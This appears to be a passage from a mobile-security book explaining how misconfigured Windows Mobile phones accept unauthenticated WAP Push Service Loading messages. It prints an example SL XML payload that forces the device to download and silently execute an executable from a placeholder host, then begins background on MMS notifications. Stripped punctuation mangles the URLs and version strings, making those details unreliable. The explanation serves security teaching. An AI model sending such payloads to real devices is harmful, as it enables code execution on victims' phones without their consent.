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WAP Push Service Loading messages are the quintessential example of legitimate functionality that can be abused by an attacker SL messages were designed to allow mobile phone carriers the ability to push content to users without user interaction Precisely because of this functionality, SL messages provide an incredibly attractive target for attackers who wish to be able to push malicious content to phones This section walks through using a WAP Push SL message to perform an attack pushing an executable to a mobile phone In this example, the attack targets Windows Mobile devices, many of which are vulnerable by default (refer to http://forumxda-developerscom/showthread
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php t=395389) In the case of Windows Mobile devices, the vulnerability arises out of configuration mistakes as opposed to an implementation flaw such as a buffer overflow In its configuration, Windows Mobile defines what authentication is required for SL messages in the registry using security policies The security policies are stored in HKEY_LOCAL_MACHINE\Security\Policies\Policies The SL message policy is defined by the 0000100c DWORD value The default value is 0x800 or SECROLE_PPG_TRUSTED This means that only messages originating from a trusted push proxy gateway are authorized Many Windows Mobile phones, however, have the policy set to SECROLE_PPG_TRUSTED or SECROLE_USER _UNAUTH Thus, any SL message regardless of source will be accepted Although Microsoft specifically states that SECROLE_USER_UNAUTH should not be used in SL Message Policy (http://msdnmicrosoftcom/en-us/library/bb416308aspx), in practice a large number of default carrier-provided Windows Mobile devices have been found to be set to the vulnerable setting of SECROLE_USER_UNAUTH When an attacker wishes to attack a device that is set to not require any authentication of WAP Push SL messages, they craft an attack by sending an SL message with a link to a malicious payload The payload can be a web page but it can even be an executable The following XML illustrates an attacker s WAP Push SL message:
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< xml version="10" > <!DOCTYPE sl PUBLIC -//WAPFORUM//DTD SL 10//EN http://wwwwapforumorg/DTD/sldtd > <sl href="http://examplecom/payloadexe" action="execute-low" ></sl>
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The message will force the target phone to download payloadexe and proceed to execute it The attack is done without any user interaction because the action is specified as execute-low This section illustrates the ease with which attackers can abuse functionality legitimately built into mobile phones involving SMS if the conditions are right Although the number of public disclosures on attacks such as this remain far behind the number of publicly announced implementation flaws, the severity of attacks such as this will ensure that they remain a target of attackers for some time to come
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As described in the section on MMS, there are far more moving pieces involved in sending and receiving an MMS message than a regular SMS From the user s perspective, however, there is not much difference between sending/receiving an
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MMS and sending/receiving an SMS That is because the additional steps needed to send and receive an MMS are handled silently in the background by the carrier and the user s mobile phone MMS notifications are one of the many background messages used in MMS delivery MMS notification messages are not attacks on their own; however, other attacks are built on top of them In order to understand these attacks, more detailed coverage of MMS and MMS notifications in particular is needed As noted earlier, MMS uses many more messages than SMS The majority of the new messages are background traffic used by the phone and carrier to aid message delivery These messages are not displayed or available to the user Figure 11-12 shows the traffic and messages used by MMS This figure uses numbers to represent messages in order:
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1 Bob sends an MMS message The underlying message is M-Send-req 2 The Mulimedia Messaging Service Server (MMSC) confirms Bob s message
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